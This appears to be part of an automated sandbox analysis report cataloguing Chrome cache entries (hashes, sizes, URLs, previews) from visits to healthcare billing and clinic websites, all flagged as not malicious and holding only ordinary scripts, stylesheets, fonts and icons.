SHA-512:	626027A9651162D2848366A5C986C456A4721E1EC1D4C179192CF6CBA2AA72B75627CFFFA2EFE76A67C46626D566BBFA4004F0F1F6B7A732764DC10AACC046D2
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/healow/loginHelper.js
Preview:	var val = '';..var valpp = '';..var act = '';..$(document).ready(function()..{.. act = strAct;.. if(act!=='').. {.. $("#warningMsg").append("You have logged out of healowpay. Please enter your details to login again.");.. $('.toaster-section').removeClass('d-none');.. $("#rightWidgetSection").removeClass('custhgt2');.. $("#rightWidgetSection").addClass('custhgt3');.. }.. val = strVal;.. if(val !== '' && val != null).. {.. $('#tab1').hide();.. validateLoginDetails();.. }.... $(".otp-box").click(function () {.. $(".otp-box").removeClass("active");.. $(this).addClass("active");.. });.... valpp = strValpp;.. if(valpp !== '' && valpp != null).. {.. $('#tab1').hide();.. $.ajax({.. type: 'POST',.. url: '../../HealowPayServlet',.. data: {.. action..: 'validateDetailsPortalOtpLogin',.. valpp..: valpp.. },..

Chrome Cache Entry: 582

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	212
Entropy (8bit):	4.416621198484556
Encrypted:	false
SSDEEP:	3:QHvUmMVTHJ/JZK9cTOhwInRAWRMLI4V7l/0CrnchE7l/0jNrLBd9tEt9XxAXLGKR:Q8RLJ/JZKhRz74VmCwvj5BdzEt9hYnn
MD5:	DE3119F737AC997FBB853CF24E7025B5
SHA1:	4711567C238220FA6E2C6A688CDD12439E8EA583
SHA-256:	58EEFE25CFA84B97E375E5C4F98183330F8103E2A42E1775C1527C4BEFB77C18
SHA-512:	DB7B0907BF4E7F7BA61F7F5BAFD1F10D4A644B371B7641511FBD841605875AFF25E98CA237493A562EB9C57764966646F24892C660EF69FAE6B452E5C6AF768D
Malicious:	false
Reputation:	low
URL:	https://cdn.acsbapp.com/cache/app/wildcards.json
Preview:	[. "localtimeline.com",. "realpage.com",. "pgaresort.com",. "bambabamba.com",. "csvtesting.com",. "cloudfront.net",. "d2hmagdehyeygm.cloudfront.net",. "branchingminds.com",. "medicat.concerncenter.com".]

Chrome Cache Entry: 583

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1562
Entropy (8bit):	4.390869546024012
Encrypted:	false
SSDEEP:	48:cXSYtzV2HGsWC1W7K26ggJcy7cFncATZ3pXlDD+5r:8VuGsr1WIgguGcxZjHsr
MD5:	0799F1B33E5B65F5E775D1FB89CC992E
SHA1:	AF64E483134C4C99F9A157E1737115EE1BDE31DD
SHA-256:	A844085B5F208AC9A619F8E91C9D420CB9AF08C940BBC892617595378BB8C3A2
SHA-512:	E7186B4FAAB814D6EBB2D48569848C617888592A224F517C43424473FA5B453FECB5DA422982813D30B59349E9997F5919653D9823D636CE72A07C6501E78C26
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_2.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#78CE3E"/>.<path d="M48.6107 24.6747C47.7572 22.1971 46.0143 20.3741 43.829 19.6733C39.6793 18.3427 36.2667 20.0526 34.9623 20.8723C33.658 20.0525 30.2453 18.3426 26.0956 19.6733C23.9093 20.3744 22.166 22.1985 21.3128 24.6777C20.191 27.9377 20.7559 31.698 22.8241 34.7364C24.2053 36.7656 25.1072 39.0557 25.4323 41.3589C25.4511 41.4918 25.4694 41.6276 25.4873 41.7664C25.8004 44.1954 26.2616 46.145 26.858 47.561C27.5727 49.2578 28.4949 50.1741 29.599 50.2846C30.7693 50.4015 31.7408 49.4283 32.4872 47.3918C33.0091 45.9677 33.4207 44.0595 33.6459 42.0186C33.7718 40.8777 34.0661 39.95

Chrome Cache Entry: 584

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	53654
Entropy (8bit):	5.254463755434098
Encrypted:	false
SSDEEP:	768:KTohkitIakwEzfqhrZLB+2+3bZEIGm3fcrYfRvEl/qv0LS2igHOXR5n2El:KTohkiWakwEzfqhrZLB9w
MD5:	7F628756E3480F27E47FC4F6B546F6D8
SHA1:	06AC315EEEC8732E89A8228E8EFE0508B658A3D2
SHA-256:	A891FB6C7E1B93AEFEDFB2AB834D34276D18463591A093B4CF2D7728D3DA4D1C
SHA-512:	84FE3AE738A30559936B4F4F3174F91DA5D0EC38510D0605965D6DFAB2D491BA51C952BAE7D581FFA459DD01BC6B9B2E9D7B3E692B2F4EC75CCFE9E9DDC82E68
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newLogin/jquery.mCustomScrollbar.css
Preview:	/.== malihu jquery custom scrollbar plugin ==.Plugin URI: http://manos.malihu.gr/jquery-custom-content-scroller./..../.CONTENTS: ..1. BASIC STYLE - Plugin's basic/essential CSS properties (normally, should not be edited). ..2. VERTICAL SCROLLBAR - Positioning and dimensions of vertical scrollbar. ..3. HORIZONTAL SCROLLBAR - Positioning and dimensions of horizontal scrollbar...4. VERTICAL AND HORIZONTAL SCROLLBARS - Positioning and dimensions of 2-axis scrollbars. ..5. TRANSITIONS - CSS3 transitions for hover events, auto-expanded and auto-hidden scrollbars. ..6. SCROLLBAR COLORS, OPACITY AND BACKGROUNDS ...6.1 THEMES - Scrollbar colors, opacity, dimensions, backgrounds etc. via ready-to-use themes../..../* .------------------------------------------------------------------------------------------------------------------------.1. BASIC STYLE .------------------------------------------------------------------------------------------------------------------------.*/....mCustomScrollb

Chrome Cache Entry: 585

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	http://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 586

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	127
Entropy (8bit):	4.8845699999998375
Encrypted:	false
SSDEEP:	3:vFWWMNCmXyKgCC6beXqZj++auHcAbWWUAVMAB5TQBWRaWWU9KgqLn:TM3i0b9Zj7lHcLWtpTQgRdWBg6n
MD5:	6A9927369A243C4B4361B4C488649F02
SHA1:	6CF22A7F474695A7B02C4F8E6BBE35B2441C8EB2
SHA-256:	BDE9C2949E64D059C18D8F93566A64DAFC6D2E8E259A70322FB804831DFD0B5B
SHA-512:	0C73ECD0294C6ABDAD930DE5EF3F3595C8857E9D1FD3579A79B9C79BF0E7A75CB67EA54D22B7263163D48565BD4093915E97FD473E8357AA4F936C63BFEBAD0D
Malicious:	false
Reputation:	low
URL:	https://cdn.acsbapp.com/config/valleyprohealth.org/config.json
Preview:	<?xml version='1.0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message></Error>

Chrome Cache Entry: 587

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:Hd1Y:w
MD5:	FA9C17CE126A76733ACA269345EB7D47
SHA1:	F1D8AA71F281509D55041F671B1A7BD94524AAD8
SHA-256:	15F88A501BBE49A103551BA087FE6FC7E101894E71C3A74A42E8EFC07DCEC0D8
SHA-512:	DD2E08D8D294E24330DDACFCC602D5AB9C9BD65346E0C6540F599725AB711E1F1621D3939318BFC069E67CEF889B80E781DA3E935D61C26E2086DAC79428818C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkkNExrUmIJUBIFDRM0Cs4=?alt=proto
Preview:	CgkKBw0TNArOGgA=

Chrome Cache Entry: 588

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5400)
Category:	downloaded
Size (bytes):	5434
Entropy (8bit):	5.237166686930515
Encrypted:	false
SSDEEP:	96:xgLmp5tRSVwRdK8249rz1bvd0TDZAEc8nx/Zcxx9qDiuBfJqbohoD:xgLK5HSVMIUD6Dhn54wDXBfQbsoD
MD5:	CF77C217A823810AB91C5430A021A5F5
SHA1:	3294044B8DE59BEFE54C0EE64338C257798B1031
SHA-256:	35A3913CEDD5F32C17FB626FDAC5363FEEC1AB3921DDE24B3D9831D15A5F643A
SHA-512:	FF08A13FF22AC21DC4474115A8E084194FC503F8BB9275EEFDBD054F0F2FBF86D3A79A83646F4B4C17D56B81755FA7749B5F9CA5770F6EFE45F9CDB767479B55
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/jstz-1.0.4.min.js
Preview:	/! jstz - v1.0.4 - 2012-12-12 /.(function(e){var t=function(){"use strict";var e="s",n=function(e){var t=-e.getTimezoneOffset();return t!==null?t:0},r=function(e,t,n){var r=new Date;return e!==undefined&&r.setFullYear(e),r.setDate(n),r.setMonth(t),r},i=function(e){return n(r(e,0,2))},s=function(e){return n(r(e,5,2))},o=function(e){var t=e.getMonth()>7?s(e.getFullYear()):i(e.getFullYear()),r=n(e);return t-r!==0},u=function(){var t=i(),n=s(),r=i()-s();return r<0?t+",1":r>0?n+",1,"+e:t+",0"},a=function(){var e=u();return new t.TimeZone(t.olson.timezones[e])};return{determine:a,date_is_dst:o}}();t.TimeZone=function(e){"use strict";var n=null,r=function(){return n},i=function(){var e=t.olson.ambiguity_list[n],r=e.length,i=0,s=e[0];for(;i<r;i+=1){s=e[i];if(t.date_is_dst(t.olson.dst_start_dates[s])){n=s;return}}},s=function(){return typeof t.olson.ambiguity_list[n]!="undefined"};return n=e,s()&&i(),{name:r}},t.olson={},t.olson.timezones={"-720,0":"Etc/GMT+12","-660,0":"Pacific/Pago_Pago","-

Chrome Cache Entry: 589

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 995511
Category:	downloaded
Size (bytes):	54153
Entropy (8bit):	7.988308122435606
Encrypted:	false
SSDEEP:	1536:sxYNWSlNakBA25didHWQj2bAmoKDZzSCi8zjC12:+kBAOdqWQjH8nC12
MD5:	891FFC3963B33F6EEFCA676C2F47D775
SHA1:	A49A320CC4B539454F72B9D4F1374C0C970E6B36
SHA-256:	82F6DE58FA7C4001DEBA5D7460F91F42A72C2DF87E8E6E3D033A1E0867E5B338
SHA-512:	74CD4DF156795EE0186EE8653032122BBB18BDFB4E44BEE58B79745EA6C433909786FE0FED791BDA5A9769B5931565C16CAAAB92AD66F7D0FAA0A6A6376E2734
Malicious:	false
Reputation:	low
URL:	http://static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.min.js
Preview:	...........{......?..iHU..,.oOw.).,.}...e..GW+03...b.i2.$Y.0....o...v.s{g..]`.@.......\|.='...2.~$Y:.i.J2..sN........Y.,.92&.../m..{.n.9.1.M.u..<...n.....7.n...l..}...Q....W..t_Mmwa..v.g.!.=L....lMw.J7]../w.e..~...y.^..H\u..8~{ex.\|...Kw..4..4..kwiN....n}..1}.{c._.K.,g.w...K..O..._l<...i...W........`.<M.k.z..r&.Y<Ba........i...Y.A.v.7..ZY...8".t.>.y..>:~?.. s......k.......5....\Y...?.{.:...fyS.g8K.v.sr>;].......sjMw..;...o....'..]v....h...&.3..;l....-..W..9H.......;..=.....o.:}f\.{g.....T..{..p..O.g.w...3'.....1.i.p......f..6_..:.=._X.........\|..~.....wN,)+..K.R.....>.A......}.#.\|~...36..r......l.g...2...q.....=....q...U....f...'.dw.g..eI3.#~\|../.....~L...c..3,..Mc.....Y.acz&...'...............M\.u...}...7}.;.T..=....7...o.K.H.....A7F....x......]wm.P..?.z..........tg-...O............A............\.&.I1....x.7..e..~g.[...5..~m..;3..P..Q.l.....N..ye...L.\k.}."...W......n.u.._N..@.C.]...`.[.u.r..#...........87^...{.....3......6Y.

Chrome Cache Entry: 590

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15740, version 1.0
Category:	downloaded
Size (bytes):	15740
Entropy (8bit):	7.9866977438851
Encrypted:	false
SSDEEP:	384:RRlYHoE1mbF2cZgh17dAdJ0mB1cpOxvLTcZjh1LOz:JYIB2Sg/dYui1XBHwG
MD5:	B9C29351C46F3E8C8631C4002457F48A
SHA1:	E57E59C5780995FF2937AB2B511A769212974A87
SHA-256:	F75911313E1C7802C23345AB57E754D87801581706780C993FB23FF4E0FE62EF
SHA-512:	487AC3FD483F8EA131989857BCF1782C295AC72022BC2EBD4BF19001433D6DB65000E192E58B7A6F70F627D15C58F9FED9BA5FE0216363354BEC5A396299DAD9
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
Preview:	wOF2......=\|.......l..=..........................d..d..^.`.. .X..<.....x..s........6.$.... ..\|. ..:.(..l.V38.......;..'....F.........)..!B..V..U......;..q....O#..cx..mt.w[.......x.UG\|n}........]k[....;J.....<=..F.$'/.......w...r$`....b(g..9C4....#.BK..G..9".Q...ld...j..C.l.F.i#.+.UO...%.E.Z..C..."......k1._....M.Y....-..H......Gm3.....YiJ.s..b..>..W..U.."..2..-.O........(H...0$....7l.7}.j...".C...w?/.oB%<K..d...'H....M]...k.."...E_k.............8.\...A.1U.9 5.@Jb.)J....Hkb ....!.n._.s.:5E......k..}.^...7]f.,a.7..a.H...J^.~...uWJ),....Z.7A..Ra:..k...}.R....G k$.{...%...R...."X6...A......p..V..IH[... .m..H.q.x.?\|......b.#:.c..Z.V.}..:P$j..c..B..^...HH......?......=.#^ q.@R...I....#.$O.H.N03~.@`...........8e.......>!...d..I.........g<)2......P....u..V.........c.1sK.."G.#...^;....=w....[G.}k.y.?.........c.a..\9f..zx..("mGj.."...d..........>c.!..Z.xm...=....v.V..:.6s.....J.oz#.....Y"d.....6>1...i...IQ..;2......\d......n..y....K..Y.L...O.2.....

Chrome Cache Entry: 591

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=7999698396796766535&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 592

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	58136
Entropy (8bit):	4.926151031243312
Encrypted:	false
SSDEEP:	1536:bhHRzfXP57ob2buHb4Iorp9YSkDAP010bu5x2LyZr7eFQccm:3sR2oSkAs10bu5xYh
MD5:	6AECA1EAA4A25C65AAD8362D3748D57F
SHA1:	F6F54FA773E8BFAB49D2A5DB129947E0A0AF416B
SHA-256:	239E35F0ADACDF6B67CEF1C3E4A58FDA07F842EB60043138CF204DE527B4A091
SHA-512:	86A7B4E766948064BA707E9C9718F4389B48055AD512BC0FB4BDA38A1D7ADAF8CF5095C9EF495179575CB52DCD81E28755528EAAEF58EE6C7124A71CADDC9FCC
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newLogin/custom.css
Preview:	/* @import url('https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap'); /./ latin-ext /..@font-face {. font-family: 'Poppins';. font-style: italic;. font-weight: 200;. font-display: swap;. src: url('../fonts/newLogin/poppins-extralight-italic-latinext.woff2') format('woff2');.}../ latin /..@font-face {. font-family: 'Poppins';. font-style: italic;. font-weight: 200;. font-display: swap;. src: url('../fonts/newLogin/poppins-extralight-italic-latin.woff2') format('woff2');.}../ latin-ext /..@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 200;. font-display: swap;. src: url('../fonts/newLogin/poppins-extralight-normal-latinext.woff2') format('woff2');.}../ latin */..@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 200;. font-display: swap;. src: loc

Chrome Cache Entry: 593

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1562
Entropy (8bit):	4.390869546024012
Encrypted:	false
SSDEEP:	48:cXSYtzV2HGsWC1W7K26ggJcy7cFncATZ3pXlDD+5r:8VuGsr1WIgguGcxZjHsr
MD5:	0799F1B33E5B65F5E775D1FB89CC992E
SHA1:	AF64E483134C4C99F9A157E1737115EE1BDE31DD
SHA-256:	A844085B5F208AC9A619F8E91C9D420CB9AF08C940BBC892617595378BB8C3A2
SHA-512:	E7186B4FAAB814D6EBB2D48569848C617888592A224F517C43424473FA5B453FECB5DA422982813D30B59349E9997F5919653D9823D636CE72A07C6501E78C26
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#78CE3E"/>.<path d="M48.6107 24.6747C47.7572 22.1971 46.0143 20.3741 43.829 19.6733C39.6793 18.3427 36.2667 20.0526 34.9623 20.8723C33.658 20.0525 30.2453 18.3426 26.0956 19.6733C23.9093 20.3744 22.166 22.1985 21.3128 24.6777C20.191 27.9377 20.7559 31.698 22.8241 34.7364C24.2053 36.7656 25.1072 39.0557 25.4323 41.3589C25.4511 41.4918 25.4694 41.6276 25.4873 41.7664C25.8004 44.1954 26.2616 46.145 26.858 47.561C27.5727 49.2578 28.4949 50.1741 29.599 50.2846C30.7693 50.4015 31.7408 49.4283 32.4872 47.3918C33.0091 45.9677 33.4207 44.0595 33.6459 42.0186C33.7718 40.8777 34.0661 39.95

Chrome Cache Entry: 594

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4291
Entropy (8bit):	4.901301845234329
Encrypted:	false
SSDEEP:	48:xH7M2LAzj6572UM7qMRDI0B6M7VwRT//HIoLL88ijloodfatfVjJBNJlTJRZXy+I:e2LAi2Up+B6FT//HCYTq
MD5:	8CE1CEDB837520965C669EF5205E507E
SHA1:	05E908ADD0BFF0FA91D57FC16F8F558D3793FB71
SHA-256:	B22401581F75C71D541F039503C982492335818F335E525A6A6995C91A7CA90C
SHA-512:	03BAA91D61A43170E7A90CDCF1BDE5E70A76EE2F85C7419C0D6549A8A4183C9FB99241056D35F91A081273EB1A8B59D52E8A3F24DE9FA96DFDAB945052CFB6F8
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/custom.css
Preview:	/* Google reviews slider */...review_section {.. margin-top: 24px;..}...reviews_section_title h4.reviews_title {.. font-size: 20px;.. line-height: 24px;.. color: #0e1e4d;.. margin-bottom: 8px !important;..}...section-google-reviews {.. padding: 15px 20px 0 12px;..}...section-google-reviews.reviews-nonslider {.. padding: 15px 0 0 !important;..}...reviews-nonslider .reviews-multiple .google-review:first-child {.. margin-left: 0;..}...reviews-nonslider .reviews-multiple .google-review:last-child {.. margin-right: 0;..}...google-review {.. padding: 20px;.. margin: 15px;.. box-shadow: 1px 1px 10px 5px rgba(0, 0, 0, 0.1);.. border-radius: 8px;..}...review-name p {.. color: #0e1e4d;.. font-size: 18px;.. font-weight: 600;.. line-height: 1.2;.. margin: 0;..}...review-ratings-container {.. display: flex;.. gap: 5px;.. align-items: center;.. justify-content: flex-start;.. padding: 0 0 10px;..}.....google-reviews-container.reviews-multiple {.. display: flex;.. align-items:

Chrome Cache Entry: 595

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	536
Entropy (8bit):	4.926188410334715
Encrypted:	false
SSDEEP:	12:TMHdnzmS5PvW6+3T2F64oHzE3PWLRdSUKJ/ldE/NwlVv:2dzmYXWDIeV0UUdyOv
MD5:	A604A35187FEE0013F6E2868231C83DC
SHA1:	FCD36902A0BF5E2224BA1E2D73C50AD4B3F1D14D
SHA-256:	C8EB2BFF8BF3D1993D374958AEDAC107C0F1135ED436F454BB0FA987471C571C
SHA-512:	4BE176DA911D45DC5E20AA8F8BEAAE28FF4A10961509CD8A22156D0437DB16AC336350256DE8EF8AEF0B1ADEB20FE43108B16A573639B438B77FE277342E696B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon_contact.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg class="d-block adjustable-element" viewBox="0 0 20 15" xmlns="http://www.w3.org/2000/svg">..<title>Icon contact</title>.<path fill="#0e1e4d" d="M19.0217 0.475433L0.829412 7.04968C0.491878 7.17242 0.434344 7.62502 0.729686 7.82447L3.44914 9.68091L15.7922 3.17187L5.34393 10.9735V14.1341C5.34393 14.3489 5.58558 14.4793 5.76585 14.3604L8.06722 12.8338L10.3341 14.3795C10.5412 14.5215 10.825 14.4601 10.9593 14.2453L19.1867 0.678721C19.2557 0.567488 19.1445 0.429406 19.0217 0.475433Z"/>.</svg>.

Chrome Cache Entry: 596

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	13397
Entropy (8bit):	4.34384696769037
Encrypted:	false
SSDEEP:	192:fnVko5hUqDMzYySrtFisf3fKLDMFsD60Cld9H8mUxmYTONnArdv:fTCqgbSY3
MD5:	6C164C98630B8C5BB4070A49FD89715F
SHA1:	736AB67033F061CE8AABED4FB6F106319D957046
SHA-256:	E621665022BB960E60FCBED829F30A54D28484A7E2D8E46F7E5025A06608B5BF
SHA-512:	2EE67B474E0A2A2A3A941E68343015AE20667285E51B5FDB5D3B8C5304F5F419E938CFA4849FD58890F4FCCAA566864F11DB1B1CA83D82E6E15BE75F50AAA835
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/js/scripts.js?ver=6.0.20
Preview:	/-------------------------------------------------------------------------------. * Script for onClick trigger functionality used by flag images. * Script modified from original GTranslate plugin created by Edvard Ananyan at http://edo.webmaster.am. * GTranslate Free Version is licensed under GNU/GPL license. -------------------------------------------------------------------------------/..function GLTFireEvent(lang_pair, lang_dest) {. try {. if (document.createEvent) {. var event = document.createEvent("HTMLEvents");. event.initEvent(lang_dest, true, true);. lang_pair.dispatchEvent(event). } else {. var event = document.createEventObject();. lang_pair.fireEvent('on' + lang_dest, event). }. } catch (e) {}.}..function GLTGetCurrentLang() {. var keyValue = document.cookie.match('(^\|;) ?googtrans=([^;]*)(;\|$)');. return keyValue ? keyValue[2].split('/')[2] : null;.}..function doGoogleLanguageTransl

Chrome Cache Entry: 597

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9115
Entropy (8bit):	4.8423812414929905
Encrypted:	false
SSDEEP:	192:7a02Oywu4uomcAAJZKXlnAPl322M+Wo66NO5GGG0GZNBcQ+Yz2VzOj34A9rWNpmv:Q3ySwJqVkeTSK6
MD5:	305DDD449C742F3B64E8D6C8FB8F0512
SHA1:	58A13C1BA654A0C497A2B454F6E723D9D511C239
SHA-256:	93464069A738486C06A165E2293ADE7DD471553805BCCC0D3F263B1A5F17EBF3
SHA-512:	9300DB1F3A4576A07E9D5BC76CE5E1786B0127AE18BF764D7241FA02FE11D782B144B67F7807ADB379CDD9F413199107F3990BD4F3D985080E6C7A9EFDC0E6A1
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/healow-practice-pay-widget.css
Preview:	.h-wrapper .header-wrapper.fixednav-wrapper.widgetnavbar {.. box-shadow: none;.. border-bottom: 1px solid #E6E9ED;..}...h-wrapper .header-wrapper.fixednav-wrapper.widgetnavbar .navbar {.. padding: 28px 0;..}...h-wrapper .paybill-wrapper.paywidget-wrapper {.. padding-top: 170px;.. background: #F7FAFB;..}...PT95{.. padding-top: 95px !important;..}...h-wrapper .paybill-wrapper.paywidget-wrapper.pt135 {.. padding-top: 135px; ..}...h-wrapper .paywidget-wrapper {.. height: 100vh;.. background: #fff;..}...h-wrapper .paywidget-wrapper #leftWidgetSection {.. padding: 15px 30px 0;.. box-shadow: 0px 2px 30px #5b9dae29;.. z-index: 1;.. background: url('../img/paybill-widget-bg.png') no-repeat left bottom;..}...h-wrapper .paywidget-wrapper .payment-block {.. max-width: 522px;.. display: flex;.. align-items: center;.. justify-content: center;.. flex-direction: column;.. height: calc(100vh - 190px);.. margin: 0 auto;..}...h-wrapper .paywi

Chrome Cache Entry: 598

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5064), with no line terminators
Category:	downloaded
Size (bytes):	5064
Entropy (8bit):	4.893189910695674
Encrypted:	false
SSDEEP:	96:57osUc17WlOajf4mYC8DdLdTJk93ik8oLrWrzrsrT0:571eYC8ZLz
MD5:	216D791E61641ACE57D8D11A12BDE01E
SHA1:	28BDE6D98D1C689A712EFE037A9592E9FA103B09
SHA-256:	029DEDF319BC4536D9C663AE9C0B10C95D1E9F5DD1DE0AA73172E9E89AE254CC
SHA-512:	CD31993E3719A13C971386CBCA73AE88CB95E0833F2E8D9CD8FF9E0D070CEE43589A4DC34FD973A9E2001AEEEB0EA9CF44E96B7536F85F2A31A47F33E6C9FAC8
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.16
Preview:	#cookie-notice,#cookie-notice .cn-button:not(.cn-button-custom){font-family:-apple-system,BlinkMacSystemFont,Arial,Roboto,"Helvetica Neue",sans-serif;font-weight:400;font-size:13px;text-align:center}#cookie-notice{position:fixed;min-width:100%;height:auto;z-index:100000;letter-spacing:0;line-height:20px;left:0}#cookie-notice,#cookie-notice *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#cookie-notice.cn-animated{-webkit-animation-duration:.5s!important;animation-duration:.5s!important;-webkit-animation-fill-mode:both;animation-fill-mode:both}#cookie-notice.cn-animated.cn-effect-none{-webkit-animation-duration:1ms!important;animation-duration:1ms!important}#cookie-notice .cookie-notice-container,#cookie-notice .cookie-revoke-container{display:block}#cookie-notice.cookie-notice-hidden 